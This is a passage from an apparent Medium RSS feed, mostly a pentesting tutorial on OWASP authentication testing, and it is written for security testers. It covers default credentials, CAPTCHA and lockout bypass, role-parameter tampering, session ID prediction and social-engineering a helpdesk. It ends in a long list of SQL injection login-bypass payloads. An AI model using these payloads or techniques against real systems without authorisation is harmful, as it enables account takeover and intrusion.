href="https://docs.mitmproxy.org/stable/">mitmproxy Documentation</a></li><li><a href="https://editor.swagger.io/">Swagger Editor</a></li><li><a href="https://learning.postman.com/">Postman Documentation</a></li></ul><h3>Feedback and Improvements</h3><p>This workflow is based on my learning and hands-on practice. There may be mistakes, missing steps, or better ways to approach certain parts. If you notice any technical mistakes or incorrect steps, please let me know in the comments or by DM. Your feedback is genuinely appreciated.</p><h3>Discussion</h3><p>When you encounter an undocumented API during a penetration test, how do you approach endpoint discovery?</p><p>Do you prefer manually building a Postman collection, using automated API documentation tools, or combining both?</p><p>I’d be interested in hearing about other tools and workflows for API reconnaissance and reverse engineering.</p><p>Share your experiences in the comments — I’d love to learn from different approaches to API security testing.</p><p>Found this useful? Drop a clap 👏, share it with your team, and follow for more API security deep-dives.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d8345f12d144" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OWAP-04-Authentication_Testing]]></title>
            <link>https://bilal423.medium.com/owap-04-authentication-testing-a5993ed90560?source=rss-ccc6618876ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5993ed90560</guid>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[website-testing-checklist]]></category>
            <category><![CDATA[owasp-04]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <dc:creator><![CDATA[Bilal k. Mohammed]]></dc:creator>
            <pubDate>Fri, 08 Aug 2025 14:00:29 GMT</pubDate>
            <atom:updated>2025-08-08T14:00:29.456Z</atom:updated>
            <content:encoded><![CDATA[<h3>Authentication Testing Script (Bug Bounty / Pentest)</h3><h3>Table of Contents</h3><ol><li>Credentials over Encrypted Channel</li><li>Default Credentials</li><li>Weak Lock Out Mechanism</li><li>Authentication Bypass</li><li>Vulnerable “Remember Password” Mechanism</li><li>Browser Cache Weaknesses</li><li>Weak Password Policy</li><li>Weak Security Question Answers</li><li>Weak Password Change/Reset Functionalities<br>Not included the 10th one from OWASP</li></ol><h3>1. Credentials Over Encrypted Channel</h3><p>Objective: Ensure no credentials/session tokens are sent over HTTP (unencrypted transport).</p><p>Checklist:</p><ul><li>Disable browser HTTP-forcing plugins/extensions.</li><li>Intercept login, signup, and password reset flows.</li><li>Submit requests via HTTP and HTTPS; record network traffic.</li><li>Evidence: Screenshots/Proxy logs (showing secure/insecure transport).</li><li>Check cookies for Secure and HttpOnly attributes.</li><li>Force HTTP access after login, observe if session token is leaked.</li><li>Evidence: Cookie sent via HTTP?</li><li>Manual test URLs:</li><li>/login</li><li>/signup</li><li>/reset-password</li></ul><h3>2. Default Credentials</h3><p>Objective: Identify any default/guessable credentials still in use.</p><p>Checklist:</p><ul><li>Fingerprint tech stack (WhatWeb, Wappalyzer, Burp Suite).</li><li>Lookup default creds (cirt.net, default-password.info).</li><li>Attempt common pairs (admin:admin, root:root, etc.).</li><li>Try blank password, variations from documentation.</li><li>Evidence: Successful login with defaults (screenshots, request/response).</li><li>Report severity, affected accounts/roles.</li></ul><h3>3. Weak Lock Out Mechanism</h3><p>Objective: Assess if brute-force protection is properly implemented.</p><p>Checklist:</p><ul><li>Simulate repeated failed login attempts (start with 5, then 10+).</li><li>Evidence: Screenshots showing lockout messages, or continued login.</li><li>Observe and document lockout duration (5, 10, 15+ min).</li><li>Trigger CAPTCHA; attempt bypass (missing param, reuse token, inspect HTML).</li><li>Disable client-side JS; check if CAPTCHA is only enforced in browser.</li><li>Test unlock process (email, security questions, admin approval).</li><li>Evidence: Unlock bypass scenarios, tokens reused, patterns in response.</li><li>Brute-force test security question answers or unlock endpoints.</li><li>Try password reset as a lockout bypass.</li></ul><h3>4. Authentication Bypass</h3><p>Objective: Discover unauthenticated access to protected resources and privilege escalation.</p><p>Checklist:</p><ul><li>Direct URL access to sensitive endpoints (/admin, /dashboard, /settings, /billing).</li><li>Evidence: Access granted without auth, screenshots/content.</li><li>Legacy endpoints (by using waybackurls/gau/hakrawler).</li><li>Parameter tampering:</li><li>Try isAdmin, role, authenticated, access_level in GET, POST, cookies or headers.</li><li>Evidence: Modified requests and resulting escalated access.</li><li>Hidden HTML fields, modify and submit forms.</li><li>Session ID prediction: Log in multiple times, record session IDs, try brute-force.</li><li>Evidence: Session hijack, predictable ID pattern.</li></ul><h3>5. Vulnerable “Remember Password” Mechanism</h3><p>Objective: Identify insecure storage or handling of persistent auth tokens or credentials.</p><p>Checklist:</p><ul><li>Use “Remember Me”/auto-login; inspect localStorage, sessionStorage, cookies, IndexedDB.</li><li>Evidence: Sensitive data stored in plain/encoded form.</li><li>Decode any encoded values (Base64, etc.).</li><li>Attempt session hijack by replaying token on other browsers/devices/IPs.</li><li>Check session/token persistence after logout, password change, session timeout.</li><li>Test for CSRF/Clickjacking in auto-login flows.</li><li>Evidence: CSRF exploit HTML form, clickjacking frames.</li><li>Check if tokens/credentials travel over HTTP.</li></ul><h3>6. Browser Cache Weaknesses</h3><p>Objective: Confirm that sensitive data is not recoverable after logout/back-button.</p><p>Checklist:</p><ul><li>Login, navigate to sensitive pages, then logout and hit Back.</li><li>Evidence: Sensitive content visible after logout?</li><li>Inspect cache-related HTTP response headers (Cache-Control, Pragma, Expires).</li><li>Evidence: Missing/weak headers.</li><li>Test on private/proxy caches or service workers if possible.</li></ul><h3>7. Weak Password Policy</h3><p>Objective: Assess password strength requirements and resistance to attack.</p><p>Checklist:</p><ul><li>Test min/max password length.</li><li>Try single-case, numeric-only, special-only, very common passwords.</li><li>Attempt password containing username/email.</li><li>Test for password reuse (change, revert, rapid cycle).</li><li>Test password change frequency limits.</li><li>Check for password expiry policy.</li><li>Inspect client-side storage of passwords (localStorage, cookies, in HTML).</li><li>Evidence: Weak passwords accepted, reuse allowed, value stored locally.</li></ul><h3>8. Weak Security Question Answers</h3><p>Objective: Evaluate password reset/recovery resistance to brute-forcing, guessing, and OSINT.</p><p>Checklist:</p><ul><li>Enumerate all available (and custom) security questions.</li><li>Brute-force answers: Use automated payloads/scripts; check for rate-limiting/CAPTCHA.</li><li>OSINT test: Try popular answers, gather info from social, public sources.</li><li>Evidence: Successful reset with guessed or brute-forced answer.</li><li>Report missing/broken protections, enumerate accounts via reset form.</li></ul><h3>9. Weak Password Change/Reset Functionalities</h3><p>Objective: Identify account takeover risk or denial-of-service via weak reset/change logic.</p><p>Checklist:</p><ul><li>Test if old password required for change.</li><li>Test CSRF protection on password change/reset endpoints.</li><li>Build and try malicious HTML form for exploit.</li><li>Brute-force current password on change form; look for rate limiting.</li><li>Attempt enumeration via password reset form responses.</li><li>Analyze password reset tokens (predictability, reusability, expiry).</li><li>Test for plaintext password in email/on-screen.</li><li>Attempt IDOR in reset/change API (change user_id or equivalent).</li><li>Evidence: Successful takeover, reset with guessed token, plaintext password leak, IDOR.</li></ul><h3>Reporting Template (for every finding)</h3><ul><li>Title: Clear summary of vulnerability</li><li>Description: Brief explanation + business impact</li><li>Steps to Reproduce: Actionable script steps, ideally referencing screenshots or proxy logs</li><li>Evidence: Request/response, screenshot, exploit code</li><li>Severity Assessment: (Low/Medium/High/Critical)</li><li>Suggested Remediation: Reference best practice (OWASP, NIST, etc.)</li></ul><p>Tips for Use:</p><ul><li>Run this script section-by-section, methodically.</li><li>Use intercepting proxy, browser DevTools, and recommended OSINT/scripts.</li><li>Attach clear evidence for every finding.</li><li>Mark N/A if not applicable to particular app feature/endpoint.</li><li>WSTG-ATHN-01 — Testing for Credentials Transported Over an Encrypted Channel.</li></ul><p>When testing how securely an application handles credentials and other user input, it’s username, password, or session token should always be protected by HTTPS. If it’s not, that information could be exposed to attackers on the network.</p><blockquote>Step-by-Step.</blockquote><ul><li>Set Up Your Testing Tools</li></ul><p>Browser Developer Tools (hit F12 → Network tab)</p><p>Proxy tools like OWASP ZAP or Burp Suite (I prefer this one)</p><p>Also: Disable any plugins that force HTTPS, like HTTPS Everywhere, because they’ll block your attempts to test the insecure HTTP version of pages.</p><ul><li>Start Capturing Network Traffic</li></ul><p>Open your browser’s developer tools or your proxy tool. Then, begin navigating the site like a regular user: You need to create a valid account to this.</p><ol><li>Try logging in</li><li>Try signing up</li><li>Try resetting your password</li><li>Try browsing around while logged in</li></ol><p>Watch the network traffic and look for any requests that contain your credentials or tokens. Like the Passwords or passphrases, Session tokens (often inside cookies), Account creation info, Password reset codes</p><ul><li>What You’re Looking For</li></ul><p>You’re checking whether sensitive data is being sent over a secure (HTTPS) or insecure (HTTP) connection.</p><p>Passing Case: HTTPS Is Used in the request that you captured.</p><p>Example:</p><blockquote>Request URL: <a href="https://www.example.org/login">https://www.example.org/login</a></blockquote><blockquote>Request method: POST</blockquote><blockquote>POST data: j_username=userabc And j_password=My-Protected-Password</blockquote><p>Here, the credentials were submitted via HTTPS, so the data is encrypted during transmission. Great!</p><p>Even better, the server responds with cookies that have attributes like:</p><blockquote>Set-Cookie: JSESSIONID=abc123; Secure; HttpOnly</blockquote><p>That Secure tag ensures the cookie won’t be sent over HTTP by accident later.</p><p>Failing Case: HTTP Is Used</p><p>Example:</p><blockquote>Request URL: <a href="http://www.example.org/login">http://www.example.org/login</a></blockquote><blockquote>Request method: POST</blockquote><blockquote>POST data:</blockquote><blockquote>j_username=userabc</blockquote><blockquote>j_password=My-Protected-Password</blockquote><p>In this case, the credentials are being sent over HTTP, which means they could be intercepted by anyone on the same network. That’s a big red flag.</p><h4>Testing Account Creation.</h4><p>Next, try creating a new account. You can try forcing the browser to load the HTTP version of the sign-up page by manually changing the URL to http:// instead of <a href="https://./">https://.</a></p><p>If the site automatically redirects you back to HTTPS, that’s a good sign. If it lets you submit the form over HTTP, that’s a serious security flaw.</p><p>Example of a passing test:</p><blockquote>Request URL: <a href="https://www.example.org/createAccount">https://www.example.org/createAccount</a></blockquote><blockquote>POST data:</blockquote><blockquote>username=newuser</blockquote><blockquote>password1=MyNewPassword</blockquote><p>Failing test:</p><blockquote>Request URL: <a href="http://www.example.org/createAccount">http://www.example.org/createAccount</a></blockquote><blockquote>POST data:</blockquote><blockquote>username=newuser</blockquote><blockquote>password1=MyNewPassword</blockquote><p>In this failed case, your new account details including the password are exposed during transmission.</p><p>Testing Other Account Activities</p><p>Also test things like:</p><ol><li>Password reset</li><li>Changing your password</li><li>Linking to a payment provider or external service</li></ol><p>These actions also involve sensitive data and should always happen over HTTPS.</p><h4>While Logged In: Check for Session Token Leaks</h4><p>After logging in, try browsing the app. Even if some pages are public, your session token must always be sent over HTTPS.</p><p>Try this: Force the browser to load a page via HTTP (change the https:// to <a href="http://)/">http://)</a></p><p>See if your browser accidentally sends your session token or cookies over HTTP</p><p>If it does, that means someone on the same network (like at a coffee shop) could potentially steal your session and impersonate you.</p><p><em>Step-By-Step.</em></p><p>Browse the application normally. Do a few things while logged in.</p><p>Then, force the browser to use HTTP on any page (change the https:// in the address bar to <a href="http://)./">http://).</a></p><p>Watch the network traffic using browser developer tools or a proxy like Burp Suite or OWASP ZAP.</p><p>Check if any cookies (like JSESSIONID, auth_token, etc.) are being sent when you’re using HTTP.</p><p>What to Look For.</p><blockquote>Request URL: <a href="http://www.example.org/">http://www.example.org/</a></blockquote><blockquote>Request headers:</blockquote><blockquote>Cookie: JSESSIONID=abc123 No attribute</blockquote><p>In this case:</p><p>You’re visiting the site over HTTP. Your cookie (JSESSIONID) is sent with the request. That cookie = your identity for the site.</p><p>An attacker watching the traffic could capture this value, paste it into their own browser, and become you on the site!</p><p>Pass Case: Session Token Sent Over HTTPS Only</p><blockquote>Request URL: <a href="https://www.example.org/">https://www.example.org/</a></blockquote><blockquote>Request Method: GET</blockquote><blockquote>Request Headers:</blockquote><blockquote>Host: <a href="http://www.example.org/">www.example.org</a></blockquote><blockquote>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)</blockquote><blockquote>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</blockquote><blockquote>Accept-Language: en-US,en;q=0.5</blockquote><blockquote>Accept-Encoding: gzip, deflate, br</blockquote><blockquote>Connection: keep-alive</blockquote><blockquote>Cookie: JSESSIONID=a7731d09.node01; Secure; HttpOnly</blockquote><p>What Makes This Safe:</p><ul><li>Request is made over HTTPS (https://www.example.org/)</li><li>Session cookie (JSESSIONID) is only sent over HTTPS (not visible on HTTP)</li><li>Cookie has the Secure attribute → browser will never send it over HTTP</li><li>Cookie has the HttpOnly attribute → JavaScript can’t access it (helps prevent XSS attacks)</li><li>No sensitive data (like tokens or passwords) is in the URL, headers, or body</li></ul><p>Summary: What Makes a Site Pass or Fail</p><p>Passes if:</p><ul><li>All credentials and tokens are transmitted over HTTPS only.</li><li>Login, signup, and password reset pages auto-redirect to HTTPS.</li><li>Cookies have the Secure attribute.</li></ul><p>Fails if:</p><ul><li>Any credential is sent over HTTP.</li><li>Session tokens show up in HTTP requests (even after login).</li><li>Forced browsing to HTTP doesn’t get blocked or redirected.</li></ul><p>Final Tip</p><p>When testing: Try using both valid and invalid accounts. Pay attention to POST data and cookies.Always manually try http:// URLs for login, signup, etc. If you spot anything sensitive going over HTTP, the application is failing to protect user data and could be vulnerable to network-based attacks.</p><h3>WSTG-ATHN-02 — Testing for Default Credentials.</h3><p>Most of the application still uses default credentials by default to check this out.</p><p><em>Step-by-step</em></p><ul><li>Identify the Application Type</li><li>Is it Apache Tomcat, phpMyAdmin, Jenkins, or something else?</li><li>Use tools like WhatWeb, Wappalyzer, or Burp Suite passive scan to detect that.</li><li>Check Online for Default Credentials</li><li>Use sites like:</li></ul><blockquote><a href="https://cirt.net/passwords">https://cirt.net/passwords</a></blockquote><blockquote><a href="https://default-password.info/">https://default-password.info</a></blockquote><p>After Knowing the application OS</p><ul><li>“apache server default credentials”</li><li>“phpMyAdmin default username and password”</li></ul><p>Try Common Username/Password Combos from the website</p><p>Examples:</p><ul><li>admin:admin</li><li>root:root</li><li>admin:password</li><li>admin:&lt;blank&gt;</li></ul><p>If Login Is Successful</p><ul><li>Document it clearly (with screenshot and evidence)</li><li>Report it as a high-severity finding (unauthorized access via default creds).</li></ul><h3>WSTG-ATHN-03 — Testing for Weak Lock Out Mechanism.</h3><p>Account lockout is a security feature used to stop attackers from guessing passwords repeatedly (brute force).</p><p>Why we do this test?</p><p>To See if the lockout system can stop brute-force attacks., To Check if the unlock process is secure (can’t be abused).</p><p><em>Step-by-Step.</em></p><h4>1.Login Form Lockout.</h4><ul><li>Try wrong passwords multiple times (start with 3–5 attempts).</li><li>If login still works, increase attempts to 10+.</li></ul><p>A secure app should:</p><ul><li>Lock the account</li><li>Show a clear lockout message</li><li>Delay or block further login attempts</li></ul><p>Note: Always test on your own test account.</p><h4>2. Auto-Unlock Behavior.</h4><ul><li>After the account locks:</li><li>Wait 5, 10, then 15+ minutes</li><li>Try logging in with the correct password</li><li>A strong system should not unlock too quickly.</li></ul><h4>3. CAPTCHA Check (Under Account Lockout Protection).</h4><p>CAPTCHAs are often used to slow down or block brute-force attacks. Here’s how to check if they’re working properly and not bypassable:</p><p>Trigger the CAPTCHA</p><ul><li>Try several failed login attempts to trigger the CAPTCHA (if it’s not there from the start).</li></ul><p>Example: Try incorrect credentials 3–5 times and check if CAPTCHA appears.</p><p>Bypass Without Solving It</p><ul><li>Capture the login request with a proxy (Burp Suite).</li><li>Resend the request without the CAPTCHA parameter or leave it blank.</li><li>If the request goes through → CAPTCHA is not enforced properly.</li></ul><p>Check for Reuse</p><ul><li>Solve CAPTCHA once.</li><li>Reuse the same CAPTCHA token/response on a new login attempt.</li><li>If it works → CAPTCHA is reusable, which is insecure.</li></ul><p>Look at CAPTCHA Design</p><p>a. Is the CAPTCHA too simple?</p><ul><li>Look for very basic puzzles like:</li><li>Math: 1 + 2 = ?, What is 3–1?</li><li>Text: “Type the word ‘dog’”</li><li>These are often easily scriptable and not secure.</li></ul><p>b. Check the HTML for giveaways</p><p>Right-click on the CAPTCHA field → “Inspect”.</p><p>Look for:</p><ul><li>alt= text on images (sometimes it’s the answer).</li><li>Filenames like /captcha_123.jpg → they might reflect the solution.</li><li>&lt;input type=”hidden” name=”captcha_value” value=”dog”&gt; ← this is a big red flag.</li></ul><p>c. Is there only 1 or 2 rotating CAPTCHA questions?</p><ul><li>Refresh the page multiple times.</li><li>If you keep getting the same challenge or a predictable set, the CAPTCHA is not random enough.</li></ul><p>Inspect Client-Side Logic</p><p>a. Disable JavaScript:</p><ul><li>Browser → Settings → Disable JavaScript (or use browser extension like “Quick JavaScript Switcher”).</li><li>Reload the login page.</li><li>If CAPTCHA disappears or lets you submit without it, then it’s only being enforced in the browser (not server-side).</li></ul><p>b. Submit Without Solving CAPTCHA</p><p>Use Burp Suite:</p><ul><li>Intercept the request while submitting the form.</li><li>Remove the CAPTCHA parameter from the request or tamper with it.</li><li>Forward the request.</li><li>If login still goes through → CAPTCHA not validated server-side = vulnerable.</li></ul><p>Use Automation</p><ul><li>Try using tools like Captcha Harvester or 2Captcha API to auto-solve.</li><li>See if CAPTCHA can be defeated with scripts.</li></ul><h4>4. Unlock Mechanism Check.</h4><p>After multiple failed attempts, some apps lock the user out. The unlock mechanism itself should be secure.</p><p><em>Step-by-Step</em></p><ul><li>Lock the Account First</li><li>Intentionally enter the wrong password multiple times.</li><li>Confirm it’s locked by checking the response (like “Your account is locked”).</li><li>Trigger the Unlock Process Usually, there’s a “Forgot Password” or “Unlock Account” option.</li></ul><p>Start the process and note what method is used:</p><ul><li>Email link?</li><li>Security question?</li><li>Admin approval?</li></ul><ol><li>Check the Email Link (if used)</li></ol><ul><li>Is it a one-time, time-limited token?</li><li>Try clicking the same link twice does it still work?</li><li>Modify the token in the URL and test if predictable (e.g., token=1234 → 1235).</li></ul><p>2. Check Security Questions (if used)</p><ul><li>Are questions guessable? (e.g., “What’s your pet’s name?”)</li><li>Try injection (e.g., OR 1=1) to bypass.</li><li>See if questions repeat across users.</li></ul><p>3. Bypass Admin Approval</p><ul><li>Trigger a Lockout</li><li>Enter the wrong password multiple times (usually 3–5) to lock the account.</li><li>Look for Help/Support Options</li><li>See if there’s a “Contact Admin”, “Support Chat”, or “Helpdesk Email” link.</li><li>Try contacting them and: Claim you’re locked out.</li><li>Use social engineering (e.g., acting as a legitimate employee or user) to request an unlock without validation.</li></ul><p>3a. Look for Patterns in Response</p><ul><li>Does the support system send an unlock link without verifying your identity?</li><li>Does it just ask for email or username without extra validation?</li></ul><p>4. Attempt Automated Unlocks</p><ul><li>Check if the system automatically unlocks the account after contacting support or clicking a link.</li><li>Test different email formats, user roles, or bypassing confirmation steps.</li></ul><p>5. Check Password Reset Path</p><p>Sometimes password reset can also unlock accounts.Try using password reset link to see if it bypasses lockout entirely.</p><p>Steps to Test:</p><ul><li>Lock the Account</li><li>Enter incorrect login info several times until you’re locked out.</li><li>Initiate Password Reset. Use the “Forgot Password” or “Reset Password” feature.</li><li>Follow the process to set a new password.</li><li>Try Logging In After Reset</li></ul><p>If you can log in immediately after reset, the reset might bypass the lockout protection, which is a vulnerability.</p><p>Watch for Security Gaps. Did the app ask for email only? Was the reset link tokenized and expiring? Could you reuse the same reset link multiple times?</p><h3>WSTG-ATHN-04 Testing for Authentication Bypass</h3><p>To check if you can access restricted pages or functionality without logging in, by bypassing the authentication mechanisms.</p><h4>1. Try Direct Page Access.</h4><p>How to Spot It:</p><p>Vulnerable Scenario:</p><ul><li>You’re able to Visit /admin/dashboard without logging in.</li><li>Load internal content like settings, user lists, billing pages.</li><li>No login prompt, no access denied → just full access!</li></ul><p>Secure Behavior:</p><p>The app responds with:</p><ul><li>302 Redirect to /login</li><li>Or a 403 Forbidden or 401 Unauthorized</li><li>Or a message like “You must be logged in to view this page”</li></ul><p><em>Step-by-Step:</em></p><ul><li>Log out of the application if you’re logged in.</li><li>Try to access sensitive/restricted URLs directly, such as:</li><li>1. /admin/dashboard</li><li>2. /user/settings</li><li>3. /billing</li><li>4. /internal/report</li></ul><p>Use tools to help discover URLs find one url from it which is restricted: Burp Suite Spider, ffuf, dirsearch, gobuster</p><ul><li>Burp Suite’s built-in content scanner</li><li>Use a wordlist like common-admin.txt or raft-large-directories.txt</li></ul><p>Copy a restricted URL such as: <a href="https://target.com/admin/dashboard">https://target.com/admin/dashboard</a></p><ul><li>Test it using in uour browser directly Or Burp Suite Repeater</li></ul><p>Inspect the HTTP response:</p><ul><li>Status code (look for 200, 403, 302, 401)</li><li>Page content (does it reveal internal data?)</li><li>Headers (for auth/session details)</li></ul><p>If the current URLs are secured:</p><p>Use the waybackurls tool (or tools like gau, hakrawler) to find older or deprecated URLs from the same restricted area. Repeat the above testing steps on these legacy URLs they’re often forgotten and unprotected.</p><p>What to Look For in the Response:</p><ul><li>HTTP 200 OK with content visible = Access granted without auth</li><li>Page title like: Admin Dashboard, Settings, Welcome Back</li><li>Internal JavaScript functions loading sensitive data</li><li>Absence of cookies, tokens, or session headers but access still works.</li></ul><h4>2.Parameter Modification.</h4><p>Parameter modification is a technique where you tamper with a request parameter that controls access like authenticated=no and flip it to something like authenticated=yes to bypass authentication or gain higher privileges.</p><p>It typically works when the backend trusts client-supplied values without validating them. That’s a serious design flaw.</p><p>Where Can You Find Vulnerable Parameters?</p><p>You’re essentially looking for places where authentication or user roles are controlled by the client (user/browser). These are the weak spots.</p><p>1. URL (GET) Parameters, You’ll often find things like:</p><ul><li>?auth=false</li><li>?user=guest</li><li>?role=member</li></ul><p>Check the URLs after login, dashboard, or when navigating admin areas.</p><p>2. Form Data (POST)</p><p>These are parameters sent when submitting a login form or accessing other restricted actions.</p><p>Check for</p><ul><li>role=user</li><li>authenticated=no</li></ul><p>or similar values in the body.</p><p>Intercept the request with Burp Suite → modify POST body in Repeater.</p><p>3. Cookies</p><p>Applications sometimes store session and role information in cookies like:</p><p>Set-Cookie: isAdmin=false</p><p>Check: Inspect cookies in DevTools (Application tab in Chrome) or Burp.</p><p>Modify: Change cookie value → refresh the page or send a new request via Repeater.</p><p>4. Headers</p><p>Rare but critical. Headers like X-User-Role: user may be sent by client (or added via JavaScript).</p><p>Check: Look at requests using Burp.</p><p>Modify: In Burp Repeater, try:</p><p>X-User-Role: admin</p><p>5. Hidden Fields</p><p>Developers sometimes use hidden fields in forms to store role or auth states.</p><p>Check: Right-click &gt; Inspect on login forms, check &lt;input type=”hidden” …&gt;</p><p>Modify: Change value in DevTools or intercept the request with Burp and update before forwarding.</p><h4>Step-by-Step: Testing for Auth Bypass with Parameter Modification</h4><p>Step 1: Find a Login/Protected Page</p><ul><li>Access a feature that requires login (e.g., /dashboard, /admin, etc.).</li><li>You must have at least guest access or know the endpoint.</li></ul><p>Step 2: Intercept &amp; Identify Parameters</p><ul><li>Use Burp Suite → Proxy Tab or browser DevTools: Look for values like:</li></ul><ol><li>authenticated=no</li><li>isAdmin=false</li><li>user=guest</li><li>access_level=125</li></ol><p>Step 3: Modify the Values</p><p>Examples:</p><ol><li>authenticated=no → authenticated=yes</li><li>role=user → role=admin</li><li>access_level=1 → access_level=10</li><li>isAdmin=false → isAdmin=true</li></ol><p>Use Burp Repeater to safely test changes without affecting live sessions.</p><p>Step 4: Analyze the Response</p><p>. Outcome Interpretation</p><ol><li>200 OK + sensitive content Bypass successful</li><li>403 Forbidden or redirect Protected correctly</li><li>Also check if UI elements change:</li></ol><ul><li>Does “Admin Panel” appear?</li><li>Are extra features enabled?</li></ul><p>POST Request Example</p><p>Original post request looks like :</p><blockquote>POST /login HTTP/1.1</blockquote><blockquote>username=john&amp;password=wrong&amp;authenticated=no</blockquote><blockquote>Modified:</blockquote><blockquote>username=john&amp;password=wrong&amp;authenticated=yes</blockquote><p>Look for login success or redirection.</p><p><strong>Hidden Field Example (in HTML):</strong></p><blockquote>&lt;input type=”hidden” name=”authenticated” value=”no”&gt;</blockquote><p>Modify in-browser DevTools → change no to yes → Submit.</p><p><strong>Cookie-Based Role Escalation</strong></p><p>Cookie Example:</p><blockquote>Set-Cookie: user=guest; isAdmin=false</blockquote><p><strong>Modified Cookie:</strong></p><blockquote>Set-Cookie: user=guest; isAdmin=true</blockquote><p>Reload or request /admin.</p><p>If granted access → report it as severe.</p><h4>If It Work any of this: Report It.</h4><p>Include:</p><ul><li>The endpoint you accessed</li><li>The original and modified request</li><li>Screenshots if possible</li><li>Response body indicating success</li><li>Impact: unauthorized access, role escalation, etc.</li></ul><h4>3.Session ID Prediction</h4><p>When you log into a web application, it usually sets a session cookie (e.g., PHPSESSID, JSESSIONID, SESSIONID, etc.). This session ID ties your browser to your authenticated session on the server.</p><p>If the session IDs are predictable, attackers can guess valid session IDs and hijack someone else’s session.</p><p>This means: No login required, Just guess the right session ID, And get access to another user’s authenticated session</p><p>What You Look For</p><p>Let’s say the application gives you this cookie after login:</p><ul><li>Set-Cookie: sessionID=100134</li></ul><p>Then after logging out and in again:</p><ul><li>Set-Cookie: sessionID=100135</li></ul><p>And again:</p><ul><li>Set-Cookie: sessionID=100136</li></ul><p>This pattern super predictable.</p><p><strong>Step-by-Step: Testing for Session ID Prediction</strong></p><p>Step 1: Get Multiple Session IDs</p><ul><li>Log in multiple times with different accounts.</li><li>Capture the Set-Cookie headers each time using: Burp Suite (Proxy → HTTP history)</li><li>Write down the sessionID values.</li></ul><p>Step 2: Analyze the Pattern od sessionID</p><ul><li>Ask yourself: Are the values increasing linearly? (1001, 1002, 1003),</li><li>Are they partially predictable? (like ABC123456 → ABC123457),</li><li>Are the lengths too short? (e.g., only 6 digits)</li><li>Are they based on timestamps, usernames, or IPs?</li></ul><p>If there’s any pattern, that’s a red flag.</p><p>Step 3: Attempt Prediction</p><p>If you found:</p><ul><li>sessionID=ABC123450, then try ABC123451, ABC123452, etc.</li></ul><p>Ways to test:</p><p>Use Burp Repeater to send requests with fake but predicted cookies:</p><ul><li>Cookie: sessionID=ABC123452</li></ul><p>Look for successful responses like:</p><ul><li>200 OK with sensitive content</li><li>Admin dashboards “Welcome, admin” in response</li></ul><p>Step 4: Check for Partial Static + Dynamic Pattern</p><p>Sometimes session IDs look like this:</p><ul><li>SID-A1B2C3–0001</li><li>SID-A1B2C3–0002</li></ul><p>Here, A1B2C3 stays constant, only last digits change.</p><p>Focus brute-force only on changing parts:</p><p>SID-A1B2C3–0001 → SID-A1B2C3–9999</p><p>Use a custom script, Burp Intruder, or ffuf with Cookie: header.</p><p>Bonus Tips</p><ul><li>Check if session cookies are short (less than 10–15 characters → weak).</li><li>See if sessions never expire (another vulnerability).</li><li>Try predicting after logout → if the session still works, report it.</li><li>Look for base64-encoded IDs (decode and check structure).</li><li>Capture cookies over time to spot patterns (use a script if needed).</li></ul><p>What to Report (if Successful)</p><p>If you manage to hijack a session:</p><ul><li>URL you accessed</li><li>Cookie value you used</li><li>Evidence of successful session hijack (screenshot, response content)</li><li>Severity: Critical — Session Hijack via Predictable Session ID</li></ul><h4>SQL Injection in Authentication.</h4><p>SQL Injection happens when user input (like a username or password) is inserted directly into a database query without proper sanitization, allowing an attacker to manipulate the query.</p><p>In login forms, this can lead to authentication bypass i.e., logging in without knowing the password.</p><p>Real-World Vulnerable Query</p><p>Imagine this is the query the backend runs after a login attempt:</p><p>SELECT * FROM users WHERE username = ‘admin’ AND password = ‘1234’;</p><p>If input is not sanitized, and an attacker enters:</p><p>Username: ‘ OR ‘1’=’1</p><p>Password: ‘ OR ‘1’=’1</p><p>The resulting query becomes:</p><p>SELECT * FROM users WHERE username = ‘’ OR ‘1’=’1&#39; AND password = ‘’ OR ‘1’=’1&#39;;</p><p>Because ‘1’=’1&#39; is always true, the query returns a user record you’re logged in as the first user in the table (often admin).</p><p><strong>Step-by-Step: How to Test for SQLi in Login Forms</strong></p><p>Step 1: Find a Login Page</p><p>Look for any form that accepts:</p><ul><li>Username / Email, Password</li><li>Use tool like: Burp Suite</li><li>Also identify the software.</li></ul><p>Step 2: Try Basic SQL Injection Payloads</p><p>In either the username or password field, try:</p><blockquote>‘-’<br>‘ ‘<br>‘&amp;’<br>‘^’<br>‘*’<br>‘ or ‘’-’<br>‘ or ‘’ ‘<br>‘ or ‘’&amp;’<br>‘ or ‘’^’<br>‘ or ‘’*’<br>“-”<br>“ “<br>“&amp;”<br>“^”<br>“*”<br>“ or “”-”<br>“ or “” “<br>“ or “”&amp;”<br>“ or “”^”<br>“ or “”*”<br>or true — <br>“ or true — <br>‘ or true — <br>“) or true — <br>‘) or true — <br>‘ or ‘x’=’x<br>‘) or (‘x’)=(‘x<br>‘)) or ((‘x’))=((‘x<br>“ or “x”=”x<br>“) or (“x”)=(“x<br>“)) or ((“x”))=((“x<br>or 1=1<br>or 1=1 — <br>or 1=1#<br>or 1=1/*<br>admin’ — <br>admin’ #<br>admin’/*<br>admin’ or ‘1’=’1<br>admin’ or ‘1’=’1&#39; — <br>admin’ or ‘1’=’1&#39;#<br>admin’ or ‘1’=’1&#39;/*<br>admin’or 1=1 or ‘’=’<br>admin’ or 1=1<br>admin’ or 1=1 — <br>admin’ or 1=1#<br>admin’ or 1=1/*<br>admin’) or (‘1’=’1<br>admin’) or (‘1’=’1&#39; — <br>admin’) or (‘1’=’1&#39;#<br>admin’) or (‘1’=’1&#39;/*<br>admin’) or ‘1’=’1<br>admin’) or ‘1’=’1&#39; — <br>admin’) or ‘1’=’1&#39;#<br>admin’) or ‘1’=’1&#39;/*<br>1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ‘81dc9bdb52d04dc20036dbd8313ed055<br>admin” — <br>admin” #<br>admin”/*<br>admin” or “1”=”1<br>admin” or “1”=”1&quot; — <br>admin” or “1”=”1&quot;#<br>admin” or “1”=”1&quot;/*<br>admin”or 1=1 or “”=”<br>admin” or 1=1<br>admin” or 1=1 — <br>admin” or 1=1#<br>admin” or 1=1/*<br>admin”) or 